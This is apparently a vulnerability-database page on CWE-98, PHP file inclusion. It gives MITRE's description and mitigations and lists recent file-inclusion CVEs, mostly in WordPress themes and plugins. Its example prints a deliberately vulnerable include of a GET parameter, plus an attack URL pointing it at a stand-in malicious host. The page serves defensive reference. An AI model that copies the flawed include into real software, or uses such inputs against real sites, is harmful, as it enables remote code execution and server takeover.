Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CWE-98 (PHP程序中Include/Require语句包含文件控制不恰当(PHP远程文件包含)) — Vulnerability Class 1309

1309 vulnerabilities classified as CWE-98 (PHP程序中Include/Require语句包含文件控制不恰当(PHP远程文件包含)). AI Chinese analysis included.

CWE-98 represents a critical input validation weakness where PHP applications fail to properly sanitize user-supplied data before passing it to include or require functions. Attackers typically exploit this by injecting malicious URLs or local file paths, enabling Remote File Inclusion (RFI) or Local File Inclusion (LFI). This allows adversaries to execute arbitrary code hosted on external servers or access sensitive system files, often leading to full server compromise. To mitigate this risk, developers must strictly validate and whitelist allowed filenames or paths, ensuring only expected local resources are included. Additionally, disabling the allow_url_include and allow_url_fopen directives in the PHP configuration prevents the inclusion of remote files entirely. Implementing robust input validation and adhering to the principle of least privilege significantly reduces the attack surface associated with dynamic file inclusion mechanisms.

MITRE CWE Description
The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions. In certain versions and configurations of PHP, this can allow an attacker to specify a URL to a remote location from which the product will obtain the code to execute. In other cases in association with path traversal, the attacker can specify a local file that may contain executable statements that can be parsed by PHP.
Common Consequences (1)
Integrity, Confidentiality, Availability Execute Unauthorized Code or Commands
The attacker may be able to specify arbitrary code to be executed from a remote location. Alternatively, it may be possible to use normal program behavior to insert php code into files on the local machine which can then be included and force the code to execute since php ignores everything in the f…
Mitigations (5)
Architecture and Design Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Architecture and Design When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Architecture and Design For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Architecture and Design, Operation Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For ex…
Effectiveness: Limited
Architecture and Design, Operation Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database ad…
Examples (1)
The following code, victim.php, attempts to include a function contained in a separate PHP page on the server. It builds the path to the file by using the supplied 'module_name' parameter and appending the string '/function.php' to it.
$dir = $_GET['module_name']; include($dir . "/function.php");
Bad · PHP
victim.php?module_name=http://malicious.example.com
Attack
CVE ID Title CVSS Severity Published
CVE-2026-57800 WordPress Overworld theme <= 1.5 - Local File Inclusion vulnerability — Overworld 7.5 High 2026-07-13
CVE-2026-57793 WordPress Flow theme <= 1.8 - Local File Inclusion vulnerability — Flow 7.5 High 2026-07-13
CVE-2026-57801 WordPress SetSail theme <= 2.1 - Local File Inclusion vulnerability — SetSail 7.5 High 2026-07-13
CVE-2026-57795 WordPress Kitchor theme <= 1.4.3 - Local File Inclusion vulnerability — Kitchor 7.5 High 2026-07-13
CVE-2026-57791 WordPress Brook theme <= 2.9.0 - Local File Inclusion vulnerability — Brook 7.5 High 2026-07-13
CVE-2026-57794 WordPress Golo Framework plugin <= 1.7.3 - Local File Inclusion vulnerability — Golo Framework 7.5 High 2026-07-13
CVE-2026-57798 WordPress NewsPlus Shortcodes plugin <= 4.2.0 - Local File Inclusion vulnerability — NewsPlus Shortcodes 7.5 High 2026-07-13
CVE-2026-57790 WordPress Billey theme <= 2.1.8 - Local File Inclusion vulnerability — Billey 7.5 High 2026-07-13
CVE-2026-15540 SourceCodester Online Book Store System Administrative index.php php file inclusion — Online Book Store System 4.3 Medium 2026-07-13
CVE-2026-15338 LA-Studio Element Kit for Elementor <= 1.6.1 - Authenticated (Contributor+) Local File Inclusion via 'progress_type' Widget Setting — LA-Studio Element Kit for Elementor 7.5 High 2026-07-11
CVE-2025-11977 HappyForms <= 1.26.12 - Authenticated (Admin+) Local File Inclusion — Happyforms – Form Builder for WordPress: Drag & Drop Contact Forms, Surveys, Payments & Multipurpose Forms 6.6 Medium 2026-07-10
CVE-2026-13080 WPFunnels <= 3.12.7 - Authenticated (Administrator+) Local File Inclusion via 'logKey' Parameter — WPFunnels – Funnel Builder for WooCommerce with Checkout & One Click Upsell 6.6 Medium 2026-07-09
CVE-2026-12194 PHPIPAM Authenticated LFI — phpipam - - 2026-07-04
CVE-2026-5137 RTMKit <= 2.0.7 - Authenticated (Contributor+) Limited Local File Inclusion via 'template' Parameter — RTMKit 4.3 Medium 2026-07-03
CVE-2026-57749 WordPress SportsPress Pro plugin <= 2.7.29 - Local File Inclusion vulnerability — SportsPress Pro 7.5 High 2026-07-02
CVE-2026-57748 WordPress Shopify plugin <= 1.0.0 - Local File Inclusion vulnerability — Shopify 7.5 High 2026-07-02
CVE-2026-42382 WordPress Audrey theme <= 1.5 - Local File Inclusion vulnerability — Audrey 8.1 High 2026-07-02
CVE-2026-27412 WordPress Pearl - Corporate Business theme <= 3.4.10 - Local File Inclusion vulnerability — Pearl - Corporate Business 8.1 High 2026-07-02
CVE-2025-69133 WordPress Tourmaster plugin <= 5.4.5 - Local File Inclusion vulnerability — Tourmaster 7.5 High 2026-07-02
CVE-2025-58902 WordPress Lighthouse theme <= 1.2.12 - Local File Inclusion vulnerability — Lighthouse 8.1 High 2026-07-02
CVE-2026-12923 Video Gallery <= 4.0.3 - Authenticated (Subscriber+) Arbitrary Function Call via 'path' Parameter — Video Gallery – YouTube Gallery, Playlist & Video Grid 7.5 High 2026-07-01
CVE-2026-57647 WordPress Panorama Viewer – 360 Degree Image + Video Viewer plugin <= 1.6.1 - Local File Inclusion vulnerability — Panorama Viewer – 360 Degree Image + Video Viewer 7.5 High 2026-06-26
CVE-2025-68064 WordPress Goya Core plugin < 1.0.9.4 - Local File Inclusion vulnerability — Goya Core 7.5 High 2026-06-26
CVE-2025-68063 WordPress Splash - Sport Club WordPress theme for Basketball, Football, Hockey theme <= 4.4.3 - Local File Inclusion vulnerability — Splash - Sport Club WordPress Theme for Basketball, Football, Hockey 7.5 High 2026-06-26
CVE-2026-54845 WordPress MDTF plugin <= 1.3.8 - Local File Inclusion vulnerability — MDTF 8.1 High 2026-06-25
CVE-2019-25760 Joomla! Component Easy Shop 1.2.3 Local File Inclusion — Easy Shop 6.2 Medium 2026-06-19
CVE-2026-7515 BetterDocs Pro <= 3.8.0 - Unauthenticated Local File Inclusion via doc_style — BetterDocs Pro 9.8 Critical 2026-06-19
CVE-2026-48820 CakePHP: View::element() is missing a path containment check — cakephp - - 2026-06-17
CVE-2026-54814 WordPress Motors plugin <= 1.4.109 - Local File Inclusion vulnerability — Motors 8.1 High 2026-06-17
CVE-2026-39590 WordPress Atomlab theme <= 2.4.5 - Local File Inclusion vulnerability — Atomlab 8.1 High 2026-06-17

Vulnerabilities classified as CWE-98 (PHP程序中Include/Require语句包含文件控制不恰当(PHP远程文件包含)) represent 1309 CVEs. The CWE taxonomy describes the weakness; review individual CVEs for product-specific impact.